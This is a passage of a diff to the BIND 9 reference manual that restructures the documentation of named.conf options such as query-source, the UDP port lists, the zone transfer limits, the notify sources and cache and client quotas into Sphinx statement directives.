-name servers. ``query-source`` specifies the address and port used for
-such queries. For queries sent over IPv6, there is a separate
-``query-source-v6`` option. If ``address`` is ``*`` (asterisk) or is
-omitted, a wildcard IP address (``INADDR_ANY``) is used.
+.. namedconf:statement:: query-source
+   :tags: query
+   :short: Controls the IPv4 address from which queries are issued.
 
-If ``port`` is ``*`` or is omitted, a random port number from a
-pre-configured range is picked up and used for each query. The
-port range(s) is specified in the ``use-v4-udp-ports`` (for IPv4)
-and ``use-v6-udp-ports`` (for IPv6) options, excluding the ranges
-specified in the ``avoid-v4-udp-ports`` and ``avoid-v6-udp-ports``
-options, respectively.
+.. namedconf:statement:: query-source-v6
+   :tags: query
+   :short: Controls the IPv6 address from which queries are issued.
 
-The defaults of the ``query-source`` and ``query-source-v6`` options
-are:
+   If the server does not know the answer to a question, it queries other
+   name servers. :any:`query-source` specifies the address and port used for
+   such queries. For queries sent over IPv6, there is a separate
+   :any:`query-source-v6` option. If ``address`` is ``*`` (asterisk) or is
+   omitted, a wildcard IP address (``INADDR_ANY``) is used.
 
-::
+   The defaults of the :any:`query-source` and :any:`query-source-v6` options
+   are:
 
-   query-source address * port *;
-   query-source-v6 address * port *;
+   ::
 
-If ``use-v4-udp-ports`` or ``use-v6-udp-ports`` is unspecified,
-``named`` checks whether the operating system provides a programming
-interface to retrieve the system's default range for ephemeral ports. If
-such an interface is available, ``named`` uses the corresponding
-system default range; otherwise, it uses its own defaults:
+      query-source address * port *;
+      query-source-v6 address * port *;
 
-::
+   .. note:: ``port`` configuration is deprecated. A warning will be logged
+      when this parameter is used.
 
-   use-v4-udp-ports { range 1024 65535; };
-   use-v6-udp-ports { range 1024 65535; };
+   .. note:: The address specified in the :any:`query-source` option is
+      used for both UDP and TCP queries, but the port applies only to UDP
+      queries. TCP queries always use a random unprivileged port.
 
-The defaults of the ``avoid-v4-udp-ports`` and ``avoid-v6-udp-ports``
-options are:
+.. namedconf:statement:: use-v4-udp-ports
+   :tags: deprecated
+   :short: Specifies a list of ports that are valid sources for UDP/IPv4 messages.
 
-::
+.. namedconf:statement:: use-v6-udp-ports
+   :tags: deprecated
+   :short: Specifies a list of ports that are valid sources for UDP/IPv6 messages.
+
+   These statements, which are deprecated and will be removed in a future
+   release, specify a list of IPv4 and IPv6 UDP ports that are used as
+   source ports for UDP messages.
+
+   If :term:`port` is ``*`` or is omitted, a random port number from a
+   pre-configured range is selected and used for each query. The
+   port range(s) are specified in the :any:`use-v4-udp-ports` (for IPv4)
+   and :any:`use-v6-udp-ports` (for IPv6) options.
+
+   If :any:`use-v4-udp-ports` or :any:`use-v6-udp-ports` is unspecified,
+   :iscman:`named` checks whether the operating system provides a programming
+   interface to retrieve the system's default range for ephemeral ports. If
+   such an interface is available, :iscman:`named` uses the corresponding
+   system default range; otherwise, it uses its own defaults:
+
+   ::
+
+      use-v4-udp-ports { range 1024 65535; };
+      use-v6-udp-ports { range 1024 65535; };
+
+.. namedconf:statement:: avoid-v4-udp-ports
+   :tags: deprecated
+   :short: Specifies the range(s) of ports to be excluded from use as sources for UDP/IPv4 messages.
+
+.. namedconf:statement:: avoid-v6-udp-ports
+   :tags: deprecated
+   :short: Specifies the range(s) of ports to be excluded from use as sources for UDP/IPv6 messages.
+
+   These statements, which are deprecated and will be removed in a future
+   release, specific ranges of port numbers to exclude from those specified
+   in the :any:`avoid-v4-udp-ports` and :any:`avoid-v6-udp-ports`
+   options, respectively.
 
-   avoid-v4-udp-ports {};
-   avoid-v6-udp-ports {};
-
-.. note:: Make sure the ranges are sufficiently large for security. A
-   desirable size depends on several parameters, but we generally recommend
-   it contain at least 16384 ports (14 bits of entropy). Note also that the
-   system's default range when used may be too small for this purpose, and
-   that the range may even be changed while ``named`` is running; the new
-   range is automatically applied when ``named`` is reloaded. Explicit
-   configuration of ``use-v4-udp-ports`` and ``use-v6-udp-ports`` is encouraged,
-   so that the ranges are sufficiently large and are reasonably
-   independent from the ranges used by other applications.
-
-.. note:: The operational configuration where ``named`` runs may prohibit
-   the use of some ports. For example, Unix systems do not allow
-   ``named``, if run without root privilege, to use ports less than 1024.
-   If such ports are included in the specified (or detected) set of query
-   ports, the corresponding query attempts will fail, resulting in
-   resolution failures or delay. It is therefore important to configure the
-   set of ports that can be safely used in the expected operational
-   environment.
-
-.. note:: The address specified in the ``query-source`` option is used for both
-   UDP and TCP queries, but the port applies only to UDP queries. TCP
-   queries always use a random unprivileged port.
-
-.. note:: Solaris 2.5.1 and earlier does not support setting the source address
-   for TCP sockets.
-
-.. note:: See also ``transfer-source`` and ``notify-source``.
+   The defaults of the :any:`avoid-v4-udp-ports` and :any:`avoid-v6-udp-ports`
+   options are:
+
+   ::
+
+      avoid-v4-udp-ports {};
+      avoid-v6-udp-ports {};
+
+   For example, with the following configuration:
+
+   ::
+
+      use-v6-udp-ports { range 32768 65535; };
+      avoid-v6-udp-ports { 40000; range 50000 60000; };
+
+   UDP ports of IPv6 messages sent from :iscman:`named` are in one of the
+   following ranges: 32768 to 39999, 40001 to 49999, or 60001 to 65535.
+
+   :any:`avoid-v4-udp-ports` and :any:`avoid-v6-udp-ports` can be used to prevent
+   :iscman:`named` from choosing as its random source port a port that is blocked
+   by a firewall or that is used by other applications; if a
+   query went out with a source port blocked by a firewall, the answer
+   would not pass through the firewall and the name server would have to query
+   again. Note: the desired range can also be represented only with
+   :any:`use-v4-udp-ports` and :any:`use-v6-udp-ports`, and the ``avoid-``
+   options are redundant in that sense; they are provided for backward
+   compatibility and to possibly simplify the port specification.
+
+   .. note:: Make sure the ranges are sufficiently large for security. A
+      desirable size depends on several parameters, but we generally recommend
+      it contain at least 16384 ports (14 bits of entropy). Note also that the
+      system's default range when used may be too small for this purpose, and
+      that the range may even be changed while :iscman:`named` is running; the new
+      range is automatically applied when :iscman:`named` is reloaded. Explicit
+      configuration of :any:`use-v4-udp-ports` and :any:`use-v6-udp-ports` is encouraged,
+      so that the ranges are sufficiently large and are reasonably
+      independent from the ranges used by other applications.
+
+   .. note:: The operational configuration where :iscman:`named` runs may prohibit
+      the use of some ports. For example, Unix systems do not allow
+      :iscman:`named`, if run without root privilege, to use ports less than 1024.
+      If such ports are included in the specified (or detected) set of query
+      ports, the corresponding query attempts will fail, resulting in
+      resolution failures or delay. It is therefore important to configure the
+      set of ports that can be safely used in the expected operational
+      environment.
+
+   .. warning:: Specifying a single port is discouraged, as it removes a layer of
+      protection against spoofing errors.
+
+   .. warning:: The configured :term:`port` must not be the same as the listening port.
+
+   .. note:: See also :any:`transfer-source`, :any:`notify-source` and :any:`parental-source`.
 
 .. _zone_transfers:
 
@@ -2618,78 +3290,114 @@ BIND has mechanisms in place to facilitate zone transfers and set limits
 on the amount of load that transfers place on the system. The following
 options apply to zone transfers.
 
-``also-notify``
+.. namedconf:statement:: also-notify
+   :tags: transfer
+   :short: Defines one or more hosts that are sent ``NOTIFY`` messages when zone changes occur.
+
    This option defines a global list of IP addresses of name servers that are also
    sent NOTIFY messages whenever a fresh copy of the zone is loaded, in
    addition to the servers listed in the zone's NS records. This helps
    to ensure that copies of the zones quickly converge on stealth
    servers. Optionally, a port may be specified with each
-   ``also-notify`` address to send the notify messages to a port other
+   :any:`also-notify` address to send the notify messages to a port other
    than the default of 53. An optional TSIG key can also be specified
    with each address to cause the notify messages to be signed; this can
    be useful when sending notifies to multiple views. In place of
-   explicit addresses, one or more named ``primaries`` lists can be used.
+   explicit addresses, one or more named :any:`primaries` lists can be used.
 
-   If an ``also-notify`` list is given in a ``zone`` statement, it
+   If an :any:`also-notify` list is given in a :any:`zone` statement, it
    overrides the ``options also-notify`` statement. When a
    ``zone notify`` statement is set to ``no``, the IP addresses in the
-   global ``also-notify`` list are not sent NOTIFY messages for that
+   global :any:`also-notify` list are not sent NOTIFY messages for that
    zone. The default is the empty list (no global notification list).
 
-``max-transfer-time-in``
+.. namedconf:statement:: max-transfer-time-in
+   :tags: transfer
+   :short: Specifies the number of minutes after which inbound zone transfers are terminated.
+
    Inbound zone transfers running longer than this many minutes are
    terminated. The default is 120 minutes (2 hours). The maximum value
    is 28 days (40320 minutes).
 
-``max-transfer-idle-in``
+.. namedconf:statement:: max-transfer-idle-in
+   :tags: transfer
+   :short: Specifies the number of minutes after which inbound zone transfers making no progress are terminated.
+
    Inbound zone transfers making no progress in this many minutes are
    terminated. The default is 60 minutes (1 hour). The maximum value
    is 28 days (40320 minutes).
 
-``max-transfer-time-out``
+   .. note:: The inbound zone transfers are also affected by
+             ``tcp-idle-timeout``, the ``max-transfer-idle-in`` will close the
+             inbound zone transfer if there was no complete AXFR or no complete
+             IXFR chunk. The ``tcp-idle-timeout`` will close the connection if
+             there's no progress on the TCP level.
+
+.. namedconf:statement:: max-transfer-time-out
+   :tags: transfer
+   :short: Specifies the number of minutes after which outbound zone transfers are terminated.
+
    Outbound zone transfers running longer than this many minutes are
    terminated. The default is 120 minutes (2 hours). The maximum value
    is 28 days (40320 minutes).
 
-``max-transfer-idle-out``
+.. namedconf:statement:: max-transfer-idle-out
+   :tags: transfer
+   :short: Specifies the number of minutes after which outbound zone transfers making no progress are terminated.
+
    Outbound zone transfers making no progress in this many minutes are
    terminated. The default is 60 minutes (1 hour). The maximum value
    is 28 days (40320 minutes).
 
-``notify-rate``
+.. namedconf:statement:: notify-rate
+   :tags: transfer, zone
+   :short: Specifies the rate at which NOTIFY requests are sent during normal zone maintenance operations.
+
    This specifies the rate at which NOTIFY requests are sent during normal zone
    maintenance operations. (NOTIFY requests due to initial zone loading
    are subject to a separate rate limit; see below.) The default is 20
    per second. The lowest possible rate is one per second; when set to
    zero, it is silently raised to one.
 
-``startup-notify-rate``
+.. namedconf:statement:: startup-notify-rate
+   :tags: transfer, zone
+   :short: Specifies the rate at which NOTIFY requests are sent when the name server is first starting, or when new zones have been added.
+
    This is the rate at which NOTIFY requests are sent when the name server
    is first starting up, or when zones have been newly added to the
    name server. The default is 20 per second. The lowest possible rate is
    one per second; when set to zero, it is silently raised to one.
 
-``serial-query-rate``
+.. namedconf:statement:: serial-query-rate
+   :tags: transfer
+   :short: Defines an upper limit on the number of queries per second issued by the server, when querying the SOA RRs used for zone transfers.
+
    Secondary servers periodically query primary servers to find out if
    zone serial numbers have changed. Each such query uses a minute
    amount of the secondary server's network bandwidth. To limit the amount
    of bandwidth used, BIND 9 limits the rate at which queries are sent.
-   The value of the ``serial-query-rate`` option, an integer, is the
+   The value of the :any:`serial-query-rate` option, an integer, is the
    maximum number of queries sent per second. The default is 20 per
    second. The lowest possible rate is one per second; when set to zero,
    it is silently raised to one.
 
-``transfer-format``
+.. namedconf:statement:: transfer-format
+   :tags: transfer
+   :short: Controls whether multiple records can be packed into a message during zone transfers.
+
    Zone transfers can be sent using two different formats,
-   ``one-answer`` and ``many-answers``. The ``transfer-format`` option
+   ``one-answer`` and ``many-answers``. The :any:`transfer-format` option
    is used on the primary server to determine which format it sends.
    ``one-answer`` uses one DNS message per resource record transferred.
    ``many-answers`` packs as many resource records as possible into one
    message. ``many-answers`` is more efficient; the default is ``many-answers``.
-   ``transfer-format`` may be overridden on a per-server basis by using
-   the ``server`` statement.
+   :any:`transfer-format` may be overridden on a per-server basis by using
+   the :namedconf:ref:`server` block.
+
+.. namedconf:statement:: transfer-message-size
+   :tags: transfer
+   :short: Limits the uncompressed size of DNS messages used in zone transfers over TCP.
 
-``transfer-message-size``
    This is an upper bound on the uncompressed size of DNS messages used
    in zone transfers over TCP. If a message grows larger than this size,
    additional messages are used to complete the zone transfer.
@@ -2709,147 +3417,92 @@ options apply to zone transfers.
    This option is mainly intended for server testing; there is rarely
    any benefit in setting a value other than the default.
 
-``transfers-in``
+.. namedconf:statement:: transfers-in
+   :tags: transfer
+   :short: Limits the number of concurrent inbound zone transfers.
+
    This is the maximum number of inbound zone transfers that can run
    concurrently. The default value is ``10``. Increasing
-   ``transfers-in`` may speed up the convergence of secondary zones, but it
+   :any:`transfers-in` may speed up the convergence of secondary zones, but it
    also may increase the load on the local system.
 
-``transfers-out``
+.. namedconf:statement:: transfers-out
+   :tags: transfer
+   :short: Limits the number of concurrent outbound zone transfers.
+
    This is the maximum number of outbound zone transfers that can run
    concurrently. Zone transfer requests in excess of the limit are
    refused. The default value is ``10``.
 
-``transfers-per-ns``
+.. namedconf:statement:: transfers-per-ns
+   :tags: transfer
+   :short: Limits the number of concurrent inbound zone transfers from a remote server.
+
    This is the maximum number of inbound zone transfers that can concurrently
    transfer from a given remote name server. The default value is
-   ``2``. Increasing ``transfers-per-ns`` may speed up the convergence
+   ``2``. Increasing :any:`transfers-per-ns` may speed up the convergence
    of secondary zones, but it also may increase the load on the remote name
-   server. ``transfers-per-ns`` may be overridden on a per-server basis
-   by using the ``transfers`` phrase of the ``server`` statement.
+   server. :any:`transfers-per-ns` may be overridden on a per-server basis
+   by using the :any:`transfers` phrase of the :namedconf:ref:`server` statement.
+
+.. namedconf:statement:: transfer-source
+   :tags: transfer
+   :short: Defines which local IPv4 address(es) are bound to TCP connections used to fetch zones transferred inbound by the server.
 
-``transfer-source``
-   ``transfer-source`` determines which local address is bound to
+   :any:`transfer-source` determines which local address is bound to
    IPv4 TCP connections used to fetch zones transferred inbound by the
    server. It also determines the source IPv4 address, and optionally
    the UDP port, used for the refresh queries and forwarded dynamic
    updates. If not set, it defaults to a system-controlled value which
    is usually the address of the interface "closest to" the remote
-   end. This address must appear in the remote end's ``allow-transfer``
+   end. This address must appear in the remote end's :any:`allow-transfer`
    option for the zone being transferred, if one is specified. This
-   statement sets the ``transfer-source`` for all zones, but can be
+   statement sets the :any:`transfer-source` for all zones, but can be
    overridden on a per-view or per-zone basis by including a
-   ``transfer-source`` statement within the ``view`` or ``zone`` block
+   :any:`transfer-source` statement within the :any:`view` or :any:`zone` block
    in the configuration file.
 
-   .. note:: Solaris 2.5.1 and earlier does not support setting the source
-      address for TCP sockets.
+   .. note:: ``port`` configuration is deprecated. A warning will be logged
+      when this parameter is used.
 
-``transfer-source-v6``
-   This option is the same as ``transfer-source``, except zone transfers are performed
-   using IPv6.
+   .. warning:: Specifying a single port is discouraged, as it removes a layer of
+      protection against spoofing errors.
 
-``alt-transfer-source``
-   This indicates an alternate transfer source if the one listed in ``transfer-source``
-   fails and ``use-alt-transfer-source`` is set.
+   .. warning:: The configured :term:`port` must not be the same as the listening port.
 
-   .. note:: To avoid using the alternate transfer source,
-      set ``use-alt-transfer-source`` appropriately and
-      do not depend upon getting an answer back to the first refresh
-      query.
+.. namedconf:statement:: transfer-source-v6
+   :tags: transfer
+   :short: Defines which local IPv6 address(es) are bound to TCP connections used to fetch zones transferred inbound by the server.
 
-``alt-transfer-source-v6``
-   This indicates an alternate transfer source if the one listed in
-   ``transfer-source-v6`` fails and ``use-alt-transfer-source`` is set.
+   This option is the same as :any:`transfer-source`, except zone transfers
+   are performed using IPv6.
 
-``use-alt-transfer-source``
-   This indicates whether the alternate transfer sources should be used. If views are specified,
-   this defaults to ``no``; otherwise, it defaults to ``yes``.
+.. namedconf:statement:: notify-source
+   :tags: transfer
+   :short: Defines the IPv4 address (and optional port) to be used for outgoing ``NOTIFY`` messages.
 
-``notify-source``
-   ``notify-source`` determines which local source address, and
+   :any:`notify-source` determines which local source address, and
    optionally UDP port, is used to send NOTIFY messages. This
-   address must appear in the secondary server's ``primaries`` zone clause or
-   in an ``allow-notify`` clause. This statement sets the
-   ``notify-source`` for all zones, but can be overridden on a per-zone
-   or per-view basis by including a ``notify-source`` statement within
-   the ``zone`` or ``view`` block in the configuration file.
-
-   .. note:: Solaris 2.5.1 and earlier does not support setting the source
-      address for TCP sockets.
-
-``notify-source-v6``
-   This option acts like ``notify-source``, but applies to notify messages sent to IPv6
-   addresses.
-
-.. _port_lists:
-
-UDP Port Lists
-^^^^^^^^^^^^^^
+   address must appear in the secondary server's :any:`primaries` zone clause or
+   in an :any:`allow-notify` clause. This statement sets the
+   :any:`notify-source` for all zones, but can be overridden on a per-zone
+   or per-view basis by including a :any:`notify-source` statement within
+   the :any:`zone` or :any:`view` block in the configuration file.
 
-``use-v4-udp-ports``, ``avoid-v4-udp-ports``, ``use-v6-udp-ports``, and
-``avoid-v6-udp-ports`` specify a list of IPv4 and IPv6 UDP ports that
-are or are not used as source ports for UDP messages. See
-:ref:`query_address` about how the available ports are
-determined. For example, with the following configuration:
+   .. note:: ``port`` configuration is deprecated. A warning will be logged
+      when this parameter is used.
 
-::
+   .. warning:: Specifying a single port is discouraged, as it removes a layer of
+      protection against spoofing errors.
 
-   use-v6-udp-ports { range 32768 65535; };
-   avoid-v6-udp-ports { 40000; range 50000 60000; };
-
-UDP ports of IPv6 messages sent from ``named`` are in one of the
-following ranges: 32768 to 39999, 40001 to 49999, and 60001 to 65535.
-
-``avoid-v4-udp-ports`` and ``avoid-v6-udp-ports`` can be used to prevent
-``named`` from choosing as its random source port a port that is blocked
-by a firewall or a port that is used by other applications; if a
-query went out with a source port blocked by a firewall, the answer
-would not pass through the firewall and the name server would have to query
-again. Note: the desired range can also be represented only with
-``use-v4-udp-ports`` and ``use-v6-udp-ports``, and the ``avoid-``
-options are redundant in that sense; they are provided for backward
-compatibility and to possibly simplify the port specification.
-
-.. _resource_limits:
-
-Operating System Resource Limits
-^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
-
-The server's usage of many system resources can be limited. Scaled
-values are allowed when specifying resource limits. For example, ``1G``
-can be used instead of ``1073741824`` to specify a limit of one
-gigabyte. ``unlimited`` requests unlimited use, or the maximum available
-amount. ``default`` uses the limit that was in force when the server was
-started. See the description of ``size_spec`` in :ref:`configuration_file_elements`.
-
-The following options set operating system resource limits for the name
-server process. Some operating systems do not support some or any of the
-limits; on such systems, a warning is issued if an unsupported
-limit is used.
-
-``coresize``
-   This sets the maximum size of a core dump. The default is ``default``.
-
-``datasize``
-   This sets the maximum amount of data memory the server may use. The default is
-   ``default``. This is a hard limit on server memory usage; if the
-   server attempts to allocate memory in excess of this limit, the
-   allocation will fail, which may in turn leave the server unable to
-   perform DNS service. Therefore, this option is rarely useful as a way
-   to limit the amount of memory used by the server, but it can be
-   used to raise an operating system data size limit that is too small
-   by default. To limit the amount of memory used by the
-   server, use the ``max-cache-size`` and ``recursive-clients`` options
-   instead.
+   .. warning:: The configured :term:`port` must not be the same as the listening port.
 
-``files``
-   This sets the maximum number of files the server may have open concurrently.
-   The default is ``unlimited``.
+.. namedconf:statement:: notify-source-v6
+   :tags: transfer
+   :short: Defines the IPv6 address (and optional port) to be used for outgoing ``NOTIFY`` messages.
 
-``stacksize``
-   This sets the maximum amount of stack memory the server may use. The default is
-   ``default``.
+   This option acts like :any:`notify-source`, but applies to ``NOTIFY`` messages sent to IPv6
+   addresses.
 
 .. _server_resource_limits:
 
@@ -2860,7 +3513,10 @@ The following options set limits on the server's resource consumption
 that are enforced internally by the server rather than by the operating
 system.
 
-``max-journal-size``
+.. namedconf:statement:: max-journal-size
+   :tags: transfer
+   :short: Controls the size of journal files.
+
    This sets a maximum size for each journal file (see :ref:`journal`),
    expressed in bytes or, if followed by an
    optional unit suffix ('k', 'm', or 'g'), in kilobytes, megabytes, or
@@ -2874,95 +3530,119 @@ system.
 
    This option may also be set on a per-zone basis.
 
-``max-records``
+.. namedconf:statement:: max-records
+   :tags: zone, server
+   :short: Sets the maximum number of records permitted in a zone.
+
    This sets the maximum number of records permitted in a zone. The default is
    zero, which means the maximum is unlimited.
 
-``recursive-clients``
+.. namedconf:statement:: recursive-clients
+   :tags: query
+   :short: Specifies the maximum number of concurrent recursive queries the server can perform.
+
    This sets the maximum number (a "hard quota") of simultaneous recursive lookups
    the server performs on behalf of clients. The default is
    ``1000``. Because each recursing client uses a fair bit of memory (on
-   the order of 20 kilobytes), the value of the ``recursive-clients``
+   the order of 20 kilobytes), the value of the :any:`recursive-clients`
    option may have to be decreased on hosts with limited memory.
 
-   ``recursive-clients`` defines a "hard quota" limit for pending
+   :any:`recursive-clients` defines a "hard quota" limit for pending
    recursive clients; when more clients than this are pending, new
    incoming requests are not accepted, and for each incoming request
    a previous pending request is dropped.
 
    A "soft quota" is also set. When this lower quota is exceeded,
    incoming requests are accepted, but for each one, a pending request
-   is dropped. If ``recursive-clients`` is greater than 1000, the
-   soft quota is set to ``recursive-clients`` minus 100; otherwise it is
-   set to 90% of ``recursive-clients``.
+   is dropped. If :any:`recursive-clients` is greater than 1000, the
+   soft quota is set to :any:`recursive-clients` minus 100; otherwise it is
+   set to 90% of :any:`recursive-clients`.
+
+.. namedconf:statement:: tcp-clients
+   :tags: server
+   :short: Specifies the maximum number of simultaneous client TCP connections accepted by the server.
 
-``tcp-clients``
    This is the maximum number of simultaneous client TCP connections that the
    server accepts. The default is ``150``.
 
-.. _clients-per-query:
+.. namedconf:statement:: clients-per-query
+   :tags: server
+   :short: Sets the initial minimum number of simultaneous recursive clients accepted by the server for any given query before the server drops additional clients.
 
-``clients-per-query``; ``max-clients-per-query``
-   These set the initial value (minimum) and maximum number of recursive
-   simultaneous clients for any given query (<qname,qtype,qclass>) that
-   the server accepts before dropping additional clients. ``named``
-   attempts to self-tune this value and changes are logged. The
-   default values are 10 and 100.
+   This sets the initial value (minimum) number of simultaneous recursive clients
+   for any given query (<qname,qtype,qclass>) that the server accepts before
+   dropping additional clents. :iscman:`named` attempts to self-tune this
+   value and changes are logged. The default value is 10.
 
-   This value should reflect how many queries come in for a given name
-   in the time it takes to resolve that name. If the number of queries
-   exceeds this value, ``named`` assumes that it is dealing with a
-   non-responsive zone and drops additional queries. If it gets a
-   response after dropping queries, it raises the estimate. The
-   estimate is then lowered in 20 minutes if it has remained
-   unchanged.
+   The chosen value should reflect how many queries come in for a given name
+   in the time it takes to resolve that name.
 
-   If ``clients-per-query`` is set to zero, there is no limit on
-   the number of clients per query and no queries are dropped.
+.. namedconf:statement:: max-clients-per-query
+   :tags: server
+   :short: Sets the maximum number of simultaneous recursive clients accepted by the server for any given query before the server drops additional clients.
 
-   If ``max-clients-per-query`` is set to zero, there is no upper
-   bound other than that imposed by ``recursive-clients``.
+   This sets the maximum number of simultaneous recursive clients for any
+   given query (<qname,qtype,qclass>) that the server accepts before
+   dropping additional clients.
+
+   If the number of queries exceeds :any:`clients-per-query`, :iscman:`named`
+   assumes that it is dealing with a non-responsive zone and drops additional
+   queries. If it gets a response after dropping queries, it raises the estimate,
+   up to a limit of :any:`max-clients-per-query`. The estimate is then lowered
+   after 20 minutes if it has remained unchanged.
+
+   If :any:`max-clients-per-query` is set to zero, there is no upper bound, other
+   than that imposed by :any:`recursive-clients`. If :any:`clients-per-query` is
+   set to zero, :any:`max-clients-per-query` no longer applies and there is no
+   upper bound, other than that imposed by :any:`recursive-clients`.
+
+.. namedconf:statement:: fetches-per-zone
+   :tags: server, query
+   :short: Sets the maximum number of simultaneous iterative queries allowed to any one domain before the server blocks new queries for data in or beneath that zone.
 
-``fetches-per-zone``
    This sets the maximum number of simultaneous iterative queries to any one
    domain that the server permits before blocking new queries for
    data in or beneath that zone. This value should reflect how many
    fetches would normally be sent to any one zone in the time it would
    take to resolve them. It should be smaller than
-   ``recursive-clients``.
+   :any:`recursive-clients`.
 
    When many clients simultaneously query for the same name and type,
    the clients are all attached to the same fetch, up to the
-   ``max-clients-per-query`` limit, and only one iterative query is
+   :any:`max-clients-per-query` limit, and only one iterative query is
    sent. However, when clients are simultaneously querying for
    *different* names or types, multiple queries are sent and
-   ``max-clients-per-query`` is not effective as a limit.
+   :any:`max-clients-per-query` is not effective as a limit.
 
    Optionally, this value may be followed by the keyword ``drop`` or
    ``fail``, indicating whether queries which exceed the fetch quota for
    a zone are dropped with no response, or answered with SERVFAIL.
    The default is ``drop``.
 
-   If ``fetches-per-zone`` is set to zero, there is no limit on the
+   If :any:`fetches-per-zone` is set to zero, there is no limit on the
    number of fetches per query and no queries are dropped. The
    default is zero.
 
    The current list of active fetches can be dumped by running
-   ``rndc recursing``. The list includes the number of active fetches
-   for each domain and the number of queries that have been passed or
-   dropped as a result of the ``fetches-per-zone`` limit. (Note: these
-   counters are not cumulative over time; whenever the number of active
-   fetches for a domain drops to zero, the counter for that domain is
-   deleted, and the next time a fetch is sent to that domain, it is
-   recreated with the counters set to zero.)
-
-``fetches-per-server``
+   :option:`rndc recursing`. The list includes the number of active fetches
+   for each domain and the number of queries that have been passed
+   (allowed) or dropped (spilled) as a result of the :any:`fetches-per-zone`
+   limit. (Note: these counters are not cumulative over time;
+   whenever the number of active fetches for a domain drops to zero,
+   the counter for that domain is deleted, and the next time a fetch
+   is sent to that domain, it is recreated with the counters set
+   to zero.)
+
+.. namedconf:statement:: fetches-per-server
+   :tags: server, query
+   :short: Sets the maximum number of simultaneous iterative queries allowed to be sent by a server to an upstream name server before the server blocks additional queries.
+
    This sets the maximum number of simultaneous iterative queries that the server
    allows to be sent to a single upstream name server before
    blocking additional queries. This value should reflect how many
    fetches would normally be sent to any one server in the time it would
    take to resolve them. It should be smaller than
-   ``recursive-clients``.
+   :any:`recursive-clients`.
 
    Optionally, this value may be followed by the keyword ``drop`` or
    ``fail``, indicating whether queries are dropped with no
@@ -2970,23 +3650,26 @@ system.
    authoritative for a zone are found to have exceeded the per-server
    quota. The default is ``fail``.
 
-   If ``fetches-per-server`` is set to zero, there is no limit on
+   If :any:`fetches-per-server` is set to zero, there is no limit on
    the number of fetches per query and no queries are dropped. The
    default is zero.
 
-   The ``fetches-per-server`` quota is dynamically adjusted in response
+   The :any:`fetches-per-server` quota is dynamically adjusted in response
    to detected congestion. As queries are sent to a server and either are
    answered or time out, an exponentially weighted moving average
    is calculated of the ratio of timeouts to responses. If the current
    average timeout ratio rises above a "high" threshold, then
-   ``fetches-per-server`` is reduced for that server. If the timeout
-   ratio drops below a "low" threshold, then ``fetches-per-server`` is
-   increased. The ``fetch-quota-params`` options can be used to adjust
+   :any:`fetches-per-server` is reduced for that server. If the timeout
+   ratio drops below a "low" threshold, then :any:`fetches-per-server` is
+   increased. The :any:`fetch-quota-params` options can be used to adjust
    the parameters for this calculation.
 
-``fetch-quota-params``
+.. namedconf:statement:: fetch-quota-params
+   :tags: server, query
+   :short: Sets the parameters for dynamic resizing of the :any:`fetches-per-server` quota in response to detected congestion.
+
    This sets the parameters to use for dynamic resizing of the
-   ``fetches-per-server`` quota in response to detected congestion.
+   :any:`fetches-per-server` quota in response to detected congestion.
 
    The first argument is an integer value indicating how frequently to
    recalculate the moving average of the ratio of timeouts to responses
@@ -3004,32 +3687,62 @@ system.
    arguments are all fixed-point numbers with precision of 1/100; at
    most two places after the decimal point are significant.
 
-``reserved-sockets``
-   This sets the number of file descriptors reserved for TCP, stdio, etc. This
-   needs to be big enough to cover the number of interfaces ``named``
-   listens on plus ``tcp-clients``, as well as to provide room for
-   outgoing TCP queries and incoming zone transfers. The default is
-   ``512``. The minimum value is ``128`` and the maximum value is
-   ``128`` fewer than maxsockets (-S). This option may be removed in the
-   future.
-
-``max-cache-size``
-   This sets the maximum amount of memory to use for the server's cache, in bytes
-   or percentage of total physical memory. When the amount of data in the cache
-   reaches this limit, the server causes records to expire
-   prematurely, following an LRU-based strategy, so that the limit is not
-   exceeded. The keyword ``unlimited``, or the value 0, places no
-   limit on the cache size; records are purged from the cache only when
-   their TTLs expire. Any positive values less than 2MB are ignored
-   and reset to 2MB. In a server with multiple views, the limit applies
-   separately to the cache of each view. The default is ``90%``. On
-   systems where detection of the amount of physical memory is not supported,
-   values represented as a percentage fall back to unlimited. Note that the
-   detection of physical memory is done only once at startup, so
-   ``named`` does not adjust the cache size if the amount of physical
-   memory is changed during runtime.
-
-``tcp-listen-queue``
+.. namedconf:statement:: max-cache-size
+   :tags: server
+   :short: Sets the maximum amount of memory to use for an individual cache database and its associated metadata.
+
+   This sets the maximum amount of memory to use for an individual cache
+   database and its associated metadata, in bytes or percentage of total
+   physical memory. By default, each view has its own separate cache,
+   which means the total amount of memory required for cache data is the
+   sum of the cache database sizes for all views (unless the
+   :any:`attach-cache` option is used).
+
+   When the amount of data in a cache database reaches the configured
+   limit, :iscman:`named` starts purging non-expired records (following an
+   LRU-based strategy).
+
+   The default size limit for each individual cache is:
+
+     - 90% of physical memory for views with :any:`recursion` set to
+       ``yes`` (the default), or
+
+     - 2 MB for views with :any:`recursion` set to ``no``.
+
+   Any positive value smaller than 2 MB is ignored and reset to 2 MB.
+   The keyword ``unlimited``, or the value ``0``, places no limit on the
+   cache size; records are then purged from the cache only when they
+   expire (according to their TTLs).
+
+   .. note::
+
+       For configurations which define multiple views with separate
+       caches and recursion enabled, it is recommended to set
+       :any:`max-cache-size` appropriately for each view, as using the
+       default value of that option (90% of physical memory for each
+       individual cache) may lead to memory exhaustion over time.
+
+   .. note::
+
+       :any:`max-cache-size` does not work reliably for the maximum
+       amount of memory of 100 MB or lower.
+
+   Upon startup and reconfiguration, caches with a limited size
+   preallocate a small amount of memory (less than 1% of
+   :any:`max-cache-size` for a given view). This preallocation serves as an
+   optimization to eliminate extra latency introduced by resizing
+   internal cache structures.
+
+   On systems where detection of the amount of physical memory is not
+   supported, percentage-based values fall back to ``unlimited``. Note
+   that the amount of physical memory available is only detected on
+   startup, so :iscman:`named` does not adjust the cache size limits if the
+   amount of physical memory is changed at runtime.
+
+.. namedconf:statement:: tcp-listen-queue
+   :tags: server
+   :short: Sets the listen-queue depth.
+
    This sets the listen-queue depth. The default and minimum is 10. If the kernel
    supports the accept filter "dataready", this also controls how many
    TCP connections are queued in kernel space waiting for some
@@ -3037,7 +3750,10 @@ system.
    silently raised. A value of 0 may also be used; on most platforms
    this sets the listen-queue length to a system-defined default value.
 
-``tcp-initial-timeout``
+.. namedconf:statement:: tcp-initial-timeout
+   :tags: server, query
+   :short: Sets the amount of time (in milliseconds) that the server waits on a new TCP connection for the first message from the client.
+
